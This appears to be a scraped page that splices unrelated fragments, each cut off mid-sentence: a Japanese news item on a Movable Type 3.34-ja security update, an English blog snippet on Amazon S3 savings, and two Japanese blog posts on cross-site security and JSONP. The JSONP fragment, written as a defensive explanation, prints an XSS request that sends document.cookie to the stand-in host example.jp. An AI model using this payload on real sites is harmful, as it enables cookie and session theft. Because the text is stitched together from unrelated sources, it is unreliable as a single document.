シックス・アパートは22日、ブログツール「Movable Type」日本語版の最新バージョン「3.34-ja」を公開した。 3.34-jaでは、不正なHTMLタグ入力やMTCommentPreviewIsStatic機能を不正使用することで、クロスサイトスクリプティングを可能にする問題を修正。また、NoFollowプラグインを無効化またはアンインストールした場合に、コメントとトラックバックのサニタイズ処理が正しく行なわれない不具合も解消した。 また、FastCGIのサポート向上を実施するとともに、プラグインで追加した再構築オプションおよびプラグインのアップグレード機能が正しく動作しない不具合を修正した。加えて、米国で公開した「3.34 ベータ1」で誤ったスキーマバージョンを正しいものに戻した。 このほか同社では、Movable Typeを解凍したディレクトリ直下にあるindex.html内

UPDATE 4/30/07: This post was written in November 2006, so these numbers are a little out of date. It’s now been 12 months and we’ve saved almost exactly $1M. You can see the most recent numbers, as of April 2007, in my ETech slides. I still have some more Web 2.0 Summit stuff to write up if I get a few minutes today, but let me talk about Amazon’s S3 for a minute. At the conference, I was chattin

« Japanize - IE 系の User JavaScript エンジンに対応しました | メイン | 安全な JSON, 危険な JSON (Cross-site Including?) » 2007年01月04日 クロスサイトのセキュリティモデル あけましておめでとうございます。 昨年、社内で「XMLHttpRequest は何故クロスサイトで使えないのか。画像や SCRIPT タグは使えるのに」という疑問 (というより試問) を耳にしました。おもしろい話なのでブログネタにしようと思っていたのですが、新年早々 GMAIL の事例がスラッシュドットされていたので、自分の現時点での理解をまとめてみることにしました。文書を確認して書いているわけではないので、間違いがあれば指摘してください。また、よい参考文献をご存知の方がいらっしゃいましたら、教えていただければ幸いです。 ウェブブラウザ

« E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;